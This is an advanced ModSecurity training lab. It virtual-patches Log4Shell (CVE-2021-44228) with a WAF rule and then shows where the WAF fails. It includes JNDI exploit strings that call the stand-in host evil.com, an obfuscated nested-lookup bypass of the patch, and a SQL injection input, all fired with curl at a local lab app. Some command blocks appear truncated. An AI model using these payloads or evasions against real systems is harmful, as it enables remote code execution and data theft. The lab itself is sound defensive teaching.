

Lab 08 — CVE Virtual Patching (Log4Shell) & Where ModSecurity Fails

Level: Advanced **Goal:** Virtual-patch a real CVE (Log4Shell / CVE-2021-44228) during its "0-day window", then take an honest look at the ways a WAF can be bypassed — so you know exactly what protection it does and does **not** give you. **Time:** ~60 minutes **Operator focus:** This lab is the reason WAFs exist in production, and the reason they are never your *only* defence.

1. Theory — what virtual patching is, and why it saved the world in Dec 2021

On **10 December 2021**, **CVE-2021-44228 ("Log4Shell")** went public: any Java app using Log4j would execute attacker-controlled code if it *logged* a string like:

```
${jndi:ldap://attacker.com/a}
```

When Log4j logged that, it performed a **JNDI lookup**, fetched a remote Java class from the attacker's server, and ran it. Full remote code execution, in one HTTP header, against a huge fraction of the internet.

The catch: patching Log4j across a real estate of hundreds of services takes **days to weeks** — find every service, test, redeploy. But exploitation started within **hours**.

A **virtual patch** bridges that gap. It's a WAF rule that blocks the *exploit* at the front door, so you're protected **before** the software itself is fixed:

```
Vulnerability public (hour 0)  ----->  Software patched (day 7)
      |                                     ^
      | <-- virtual patch active here --> |
      | (WAF blocks the exploit)          |
```

Why this matters: This is the WAF's killer feature. Your dev team cannot ship a Log4j upgrade in 30 minutes. You *can* deploy a WAF rule in 30 minutes. Virtual patching turns a company-ending emergency into a manageable one.

2. Reproduce the vulnerability

Our app's `/api/log` endpoint stands in for a service that logs a request field (exactly what Log4j did). It just echoes the value — but if it were a vulnerable Log4j logger, that echo would be code execution.

To make this realistic we simulate **the 0-day window**: CRS *before the Log4Shell signature existed*. We start a WAF with the Java rule family (`944xxx`) disabled:

```
printf 'SecRuleRemoveByTag "language-java"\nSecRuleRemoveById 944100-944999\n' \
> rules/DISABLE-944.conf

docker run -d --name modseclabs-waf-0day \
  --add-host=host.docker.internal:host-gateway \
  -e BACKEND="http://host.docker.internal:5000" -e PORT=8080 \
  -e MODSEC_RULE_ENGINE=On -e PARANOIA=1 -e ANOMALY_INBOUND=5 \
  -e MODSEC_AUDIT_LOG=/dev/stdout -e MODSEC_AUDIT_ENGINE=RelevantOnly \
  -v "$PWD/rules/DISABLE-944.conf:/etc/modsecurity.d/owasp-crs/rules/zzz-DISABLE-944.conf:ro"
  -p 8093:8080 owasp/modsecurity-crs:nginx
sleep 6

curl -s -o /dev/null -w "0-day window -> %{http_code}\n" \
  -H 'X-Api-Version: ${jndi:ldap://evil.com/a}' http://localhost:8093/api/log
```

Result: `200` . The JNDI payload sailed straight through to the app. This is the internet on the morning of 10 Dec 2021.

3. Deploy the virtual patch

You can't wait for a CRS update. You write a rule **now** that matches the JNDI exploit pattern in every request location. Create `rules/VIRTUAL-PATCH-log4shell.conf` :

```
SecRule REQUEST_URI|REQUEST_HEADERS|ARGS|REQUEST_BODY \
  "@rx (?i)\${[^\]]{0,80}}(?:jndi|ldap|rmi|dns|nis|iio|corba|nds|http):" \
  "id:1000900,phase:2,deny,status:403,log,\
  t:none,t:urlDecodeUni,t:lowercase,\
  msg:'ModSecLabs VIRTUAL PATCH: Log4Shell CVE-2021-44228 JNDI lookup blocked',\
  tag:'cve-2021-44228',severity:'CRITICAL' "
```

Note the operator craft baked in:

- **Multiple variables** — the payload can arrive in a header, arg, URI or body, so we inspect all of them.
- **Transformations** (`t:urlDecodeUni,t:lowercase`) — to catch URL-encoded and mixed-case variants.
- **phase:2** — so the request body is available.

Load it (still with `944` disabled, so *only your patch* is protecting you):

```
docker run -d --name modseclabs-waf-vpatch \
  --add-host=host.docker.internal:host-gateway \
  -e BACKEND="http://host.docker.internal:5000" -e PORT=8080 \
  -e MODSEC_RULE_ENGINE=On -e PARANOIA=1 -e ANOMALY_INBOUND=5 \
  -e MODSEC_AUDIT_LOG=/dev/stdout -e MODSEC_AUDIT_ENGINE=RelevantOnly \
  -v "$PWD/rules/DISABLE-944.conf:/etc/modsecurity.d/owasp-crs/rules/zzz-DISABLE-944.conf:ro"
  -v "$PWD/rules/VIRTUAL-PATCH-log4shell.conf:/etc/modsecurity.d/owasp-crs/rules/REQUEST-800-
  -p 8094:8080 owasp/modsecurity-crs:nginx
sleep 6

curl -s -o /dev/null -w "patched: basic jndi -> %{http_code}\n" \
```

```
-H 'X-API-Version: ${jndi:ldap://evil.com/a}' http://localhost:8094/api/log
curl -s -o /dev/null -w "patched: jndi in arg -> %{http_code}\n" \
--get http://localhost:8094/api/log --data-urlencode 'data=${jndi:ldap://evil.com/a}'
```

Both return **403**. In ~20 lines you bought your team the days they need to upgrade Log4j. Confirm the block in the log:

```
docker logs modseclabs-waf-vpatch | grep -o "ModSecLabs VIRTUAL PATCH[^\"]*" | head -1
```

4. Where ModSecurity FAILS — an honest demonstration

A WAF is a **risk reducer, not a guarantee**. Here are real, reproducible ways it falls short. As an engineer you must know these cold, because they define what you *cannot* delegate to the WAF.

4.1 Your hand-written patch has bypasses

Fire an **obfuscated** Log4Shell payload at your virtual patch (**:8094**):

```
curl -s -o /dev/null -w "obfuscated jndi -> %{http_code}\n" \
-H 'X-API-Version: ${${lower:j}ndi:ldap://evil.com/a}' http://localhost:8094/api/log
```

Result: **200** — **your patch missed it**. Log4j's lookup syntax lets an attacker split the word **jndi** with nested lookups (**\${lower:j}** , **\${::-j}** , **\${env:X:-j}** ...), and your simple regex only matched the literal **jndi**. There are dozens of such encodings.

The lesson: A quick virtual patch is a *tourniquet*, not a cure. It stops the obvious exploit but a determined attacker with an evasion walks right past it. This is exactly why you **also** re-enable the mature CRS **944** rules (which use recursive normalisation and caught every variant in Lab 08's intro) and, above all, **actually upgrade the vulnerable software**. Never let a virtual patch become permanent.

4.2 A valid injection CRS doesn't score high enough

Even fully-enabled CRS at maximum paranoia has gaps. Against the normal stack:

```
curl -s -o /dev/null -w "admin'# at PL1 -> %{http_code}\n" \
--get "http://localhost:8080/login" --data-urlencode "user=admin'#"
curl -s -o /dev/null -w "admin'# at PL4 -> %{http_code}\n" \
--get "http://localhost:8084/login" --data-urlencode "user=admin'#"
```

Both return **200** — yet on the app that payload is a genuine injection:

```
SELECT email FROM users WHERE name = 'admin'#' -- the # comments out the rest
```

A bare quote-plus-comment is *ambiguous* — it also looks like ordinary text (`0'Brien#1`), so scoring it high would cause false positives. CRS deliberately lets it through. **The WAF chose usability over catching this one.**

4.3 Things a WAF structurally cannot see

Class	Why the WAF is blind to it
Broken access control / IDOR	<code>GET /file?name=report.txt</code> is a <i>perfectly valid</i> request. The WAF can't know user A shouldn't read user B's file — that's app logic.
Business-logic abuse	Buying 10,000 items with a negative price is all "clean" HTTP.
Auth / session flaws	A stolen but valid session cookie looks legitimate.
Encrypted / novel encodings	Payloads inside gRPC, protobuf, or a custom binary body the WAF doesn't parse.
Zero-days with no signature yet	By definition, no rule exists — exactly the window Section 2 showed.

5. So why run a WAF at all? — defence in depth

Sections 4.1–4.3 are **not** an argument against WAFs. They're an argument for **layered defence**. The WAF is one layer:

1. Secure code parameterised SQL, output encoding, access checks (PRIMARY)
2. WAF (ModSecurity) blocks known attack patterns, buys patch time (this course)
3. Dependency mgmt patch CVEs fast, SCA scanning
4. Runtime limits rate limiting, egress filtering (blocks the LDAP callout!)
5. Monitoring the audit log tells you that you're being probed

The professional's summary: A WAF turns "I must patch in 30 minutes or get breached" into "I have time to patch properly." It blocks the 95% of attacks that are commodity scans and known payloads, and it gives you *visibility*. It does **not** replace secure code, and anyone who tells you it does is selling something.

Clean up everything from the course

```
docker rm -f $(docker ps -aq --filter "name=modseclabs-waf") 2>/dev/null
docker compose down 2>/dev/null
```

6. Recap

- **Virtual patching** = a WAF rule that blocks a specific CVE's exploit so you are protected *before* the software is fixed. Log4Shell is the canonical case.

- A good virtual patch inspects **all** request locations and applies **transformations**.
- **But** hand-written patches have **evasion bypasses** (we watched an obfuscated JNDI payload defeat ours), CRS has deliberate gaps (`admin'#`), and a WAF is **structurally blind** to access-control and business-logic flaws.
- A WAF is **layer 2 of defence in depth** — it buys time and blocks commodity attacks. Secure code stays layer 1.

You've finished the course. You can now stand up ModSecurity + CRS, read its logs, tune it without breaking your app, write your own rules, and virtual-patch a live CVE — while knowing exactly where its limits are.